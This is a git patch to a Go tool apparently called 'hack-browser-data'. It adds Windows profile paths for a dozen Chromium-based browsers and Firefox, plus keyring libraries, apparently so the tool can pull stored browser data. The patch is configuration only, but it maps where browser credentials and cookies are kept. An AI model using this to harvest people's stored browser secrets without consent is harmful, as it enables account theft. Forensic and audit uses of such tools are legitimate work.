From a499c3ca0f287f55215f808b7eeacc072616869a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?= Date: Wed, 13 Apr 2022 15:49:15 +0800 Subject: [PATCH] feat: add chromium for windows --- go.mod | 3 + go.sum | 7 ++ internal/browser/browser.go | 26 +++--- internal/browser/browser_windows.go | 124 ++++++++++++++++++---------- 4 files changed, 103 insertions(+), 57 deletions(-) diff --git a/go.mod b/go.mod index ca5c81c..8d9ea36 100644 --- a/go.mod +++ b/go.mod @@ -4,8 +4,10 @@ go 1.18 require ( github.com/gocarina/gocsv v0.0.0-20211203214250-4735fba0c1d9 + github.com/godbus/dbus v4.1.0+incompatible github.com/json-iterator/go v1.1.12 github.com/mattn/go-sqlite3 v1.14.9 + github.com/ppacher/go-dbus-keyring v1.0.1 github.com/tidwall/gjson v1.9.3 github.com/urfave/cli/v2 v2.4.0 golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3 @@ -13,6 +15,7 @@ require ( require ( github.com/cpuguy83/go-md2man/v2 v2.0.1 // indirect + github.com/godbus/dbus/v5 v5.1.0 // indirect github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect github.com/modern-go/reflect2 v1.0.2 // indirect github.com/russross/blackfriday/v2 v2.1.0 // indirect diff --git a/go.sum b/go.sum index 810a2af..7dd8816 100644 --- a/go.sum +++ b/go.sum @@ -6,6 +6,11 @@ github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/gocarina/gocsv v0.0.0-20211203214250-4735fba0c1d9 h1:ptTza/LLPmfRtmz77X+6J61Wyf5e1hz5xYMvRk/hkE4= github.com/gocarina/gocsv v0.0.0-20211203214250-4735fba0c1d9/go.mod h1:5YoVOkjYAQumqlV356Hj3xeYh4BdZuLE0/nRkf2NKkI= +github.com/godbus/dbus v4.1.0+incompatible h1:WqqLRTsQic3apZUK9qC5sGNfXthmPXzUZ7nQPrNITa4= +github.com/godbus/dbus v4.1.0+incompatible/go.mod h1:/YcGZj5zSblfDWMMoOzV4fas9FZnQYTkDnsGvmh2Grw= +github.com/godbus/dbus/v5 v5.0.3/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= +github.com/godbus/dbus/v5 v5.1.0 h1:4KLkAxT3aOY8Li4FRJe/KvhoNFFxo0m6fNuFUO8QJUk= +github.com/godbus/dbus/v5 v5.1.0/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= @@ -18,6 +23,8 @@ github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9G github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/ppacher/go-dbus-keyring v1.0.1 h1:dM4dMfP5w9MxY+foFHCQiN7izEGpFdKr3tZeMGmvqD0= +github.com/ppacher/go-dbus-keyring v1.0.1/go.mod h1:JEmkRwBVPBFkOHedAsoZALWmhNJxR/R/ykkFpbEHtGE= github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= diff --git a/internal/browser/browser.go b/internal/browser/browser.go index 635a3f8..efd87cf 100644 --- a/internal/browser/browser.go +++ b/internal/browser/browser.go @@ -72,6 +72,7 @@ func pickFirefox(name string) []Browser { if name == "all" || name == "firefox" { for _, v := range firefoxList { multiFirefox, err := firefox.New(v.name, v.storage, v.profilePath, v.items) + // TODO: Handle error if err != nil { panic(err) } @@ -101,21 +102,22 @@ var ( ) const ( - chromeName = "Chrome" - chromeBetaName = "Chrome Beta" - chromiumName = "Chromium" - edgeName = "Microsoft Edge" + chromeName = "Chrome" + chromeBetaName = "Chrome Beta" + chromiumName = "Chromium" + edgeName = "Microsoft Edge" + speed360Name = "360speed" + qqBrowserName = "QQ" + braveName = "Brave" + operaName = "Opera" + operaGXName = "OperaGX" + vivaldiName = "Vivaldi" + coccocName = "CocCoc" + yandexName = "Yandex" + firefoxName = "Firefox" firefoxBetaName = "Firefox Beta" firefoxDevName = "Firefox Dev" firefoxNightlyName = "Firefox Nightly" firefoxESRName = "Firefox ESR" - speed360Name = "360speed" - qqBrowserName = "QQ" - braveName = "Brave" - operaName = "Opera" - operaGXName = "OperaGX" - vivaldiName = "Vivaldi" - coccocName = "CocCoc" - yandexName = "Yandex" ) diff --git a/internal/browser/browser_windows.go b/internal/browser/browser_windows.go index 4e3fb5a..6baa669 100644 --- a/internal/browser/browser_windows.go +++ b/internal/browser/browser_windows.go @@ -3,70 +3,104 @@ package browser import ( - item2 "hack-browser-data/internal/item" + "hack-browser-data/internal/item" ) var ( chromiumList = map[string]struct { - browserInfo *browserInfo - items []item2.Item + name string + profilePath string + storage string + items []item.Item }{ "chrome": { - browserInfo: chromeInfo, - items: defaultChromiumItems, + name: chromeName, + profilePath: chromeProfilePath, + items: item.DefaultChromium, }, "edge": { - browserInfo: edgeInfo, - items: defaultChromiumItems, + name: edgeName, + profilePath: edgeProfilePath, + items: item.DefaultChromium, + }, + "chromium": { + name: chromiumName, + profilePath: chromiumProfilePath, + items: item.DefaultChromium, + }, + "chrome-beta": { + name: chromeBetaName, + profilePath: chromeBetaProfilePath, + items: item.DefaultChromium, + }, + "opera": { + name: operaName, + profilePath: operaProfilePath, + items: item.DefaultChromium, + }, + "opera-gx": { + name: operaGXName, + profilePath: operaGXProfilePath, + items: item.DefaultChromium, + }, + "vivaldi": { + name: vivaldiName, + profilePath: vivaldiProfilePath, + items: item.DefaultChromium, + }, + "coccoc": { + name: coccocName, + profilePath: coccocProfilePath, + items: item.DefaultChromium, + }, + "brave": { + name: braveName, + profilePath: braveProfilePath, + items: item.DefaultChromium, }, "yandex": { - browserInfo: yandexInfo, - items: defaultYandexItems, + name: yandexName, + profilePath: yandexProfilePath, + items: item.DefaultYandex, + }, + "360": { + name: speed360Name, + profilePath: speed360ProfilePath, + items: item.DefaultChromium, + }, + "qq": { + name: qqBrowserName, + profilePath: qqBrowserProfilePath, + items: item.DefaultChromium, }, } firefoxList = map[string]struct { - browserInfo *browserInfo - items []item2.Item + name string + storage string + profilePath string + items []item.Item }{ "firefox": { - browserInfo: firefoxInfo, - items: defaultFirefoxItems, + name: firefoxName, + profilePath: firefoxProfilePath, + items: item.DefaultFirefox, }, } ) var ( - chromeInfo = &browserInfo{ - name: chromeName, - profilePath: chromeProfilePath, - } - edgeInfo = &browserInfo{ - name: edgeName, - profilePath: edgeProfilePath, - } - yandexInfo = &browserInfo{ - name: yandexName, - profilePath: edgeProfilePath, - } - firefoxInfo = &browserInfo{ - name: firefoxName, - profilePath: firefoxProfilePath, - } -) - -const ( - chromeProfilePath = "/AppData/Local/Google/Chrome/User Data/" - chromeBetaProfilePath = "/AppData/Local/Google/Chrome Beta/User Data/" - chromiumProfilePath = "/AppData/Local/Chromium/User Data/" - edgeProfilePath = "/AppData/Local/Microsoft/Edge/User Data/" - braveProfilePath = "/AppData/Local/BraveSoftware/Brave-Browser/User Data/" - speed360ProfilePath = "/AppData/Local/360chrome/Chrome/User Data/" - qqBrowserProfilePath = "/AppData/Local/Tencent/QQBrowser/User Data/" - operaProfilePath = "/AppData/Roaming/Opera Software/Opera Stable/" - operaGXProfilePath = "/AppData/Roaming/Opera Software/Opera GX Stable/" - vivaldiProfilePath = "/AppData/Local/Vivaldi/User Data/Default/" - coccocProfilePath = "/AppData/Local/CocCoc/Browser/User Data/Default/" - yandexProfilePath = "/AppData/Local/Yandex/YandexBrowser/User Data/Default" + chromeProfilePath = homeDir + "/AppData/Local/Google/Chrome/User Data/" + chromeBetaProfilePath = homeDir + "/AppData/Local/Google/Chrome Beta/User Data/" + chromiumProfilePath = homeDir + "/AppData/Local/Chromium/User Data/" + edgeProfilePath = homeDir + "/AppData/Local/Microsoft/Edge/User Data/" + braveProfilePath = homeDir + "/AppData/Local/BraveSoftware/Brave-Browser/User Data/" + speed360ProfilePath = homeDir + "/AppData/Local/360chrome/Chrome/User Data/" + qqBrowserProfilePath = homeDir + "/AppData/Local/Tencent/QQBrowser/User Data/" + operaProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera Stable/" + operaGXProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera GX Stable/" + vivaldiProfilePath = homeDir + "/AppData/Local/Vivaldi/User Data/Default/" + coccocProfilePath = homeDir + "/AppData/Local/CocCoc/Browser/User Data/Default/" + yandexProfilePath = homeDir + "/AppData/Local/Yandex/YandexBrowser/User Data/Default" - firefoxProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles" + firefoxProfilePath = homeDir + "/AppData/Roaming/Mozilla/Firefox/Profiles/" )